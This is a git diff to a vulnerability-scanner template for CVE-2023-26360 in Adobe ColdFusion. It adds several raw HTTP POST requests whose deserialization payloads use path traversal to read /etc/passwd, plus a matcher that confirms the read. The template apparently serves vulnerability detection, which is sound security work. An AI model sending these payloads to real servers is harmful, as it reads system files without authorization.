diff --git a/http/cves/2023/CVE-2023-26360.yaml b/http/cves/2023/CVE-2023-26360.yaml index b1eaefd82db4..2c91a4d15756 100644 --- a/http/cves/2023/CVE-2023-26360.yaml +++ b/http/cves/2023/CVE-2023-26360.yaml @@ -1,8 +1,8 @@ id: CVE-2023-26360 info: - name: Unauthenticated File Read Adobe ColdFusion - author: DhiyaneshDK + name: Adobe ColdFusion - Local File Read + author: DhiyaneshDK,7own severity: high description: | Unauthenticated Arbitrary File Read vulnerability due to deserialization of untrusted data in Adobe ColdFusion. The vulnerability affects ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier @@ -42,6 +42,34 @@ info: http: - raw: + - | + POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=wizardHash&_cfclient=true&returnFormat=wddx&inPassword=foo HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + _variables={"about":{"_metadata":{"classname":"../../../../../../../../../../../etc/passwd"}, "_variables":{}}} + + - | + POST /CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + _variables={"about":{"_metadata":{"classname":"../../../../../../../../../../../etc/passwd"}, "_variables":{}}} + + - | + POST /cfusion/..CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + _variables={"about":{"_metadata":{"classname":"../../../../../../../../../../../etc/passwd"}, "_variables":{}}} + + - | + POST //CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + _variables={"about":{"_metadata":{"classname":"../../../../../../../../../../../etc/passwd"}, "_variables":{}}} + - | POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=wizardHash&_cfclient=true&returnFormat=wddx&inPassword=foo HTTP/1.1 Host: {{Hostname}} @@ -49,7 +77,8 @@ http: _variables=%7b%22_metadata%22%3a%7b%22classname%22%3a%22i/../lib/password.properties%22%7d%2c%22_variables%22%3a%5b%5d%7d - matchers-condition: and + stop-at-first-match: true + matchers-condition: or matchers: - type: word part: body @@ -59,8 +88,6 @@ http: - "adobe" condition: and - - type: word - part: header - words: - - "text/html" -# digest: 4a0a0047304502203e2a91f937967b83fa6a96f360b75982090e5fd70018f8fa490700107c6b10970221009dabb92d5e873c0cd1f7e0196504a0d33b8dba91ed6c53786ff9ad72c87b85ee:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + - type: regex + regex: + - "root:.*:0:0:"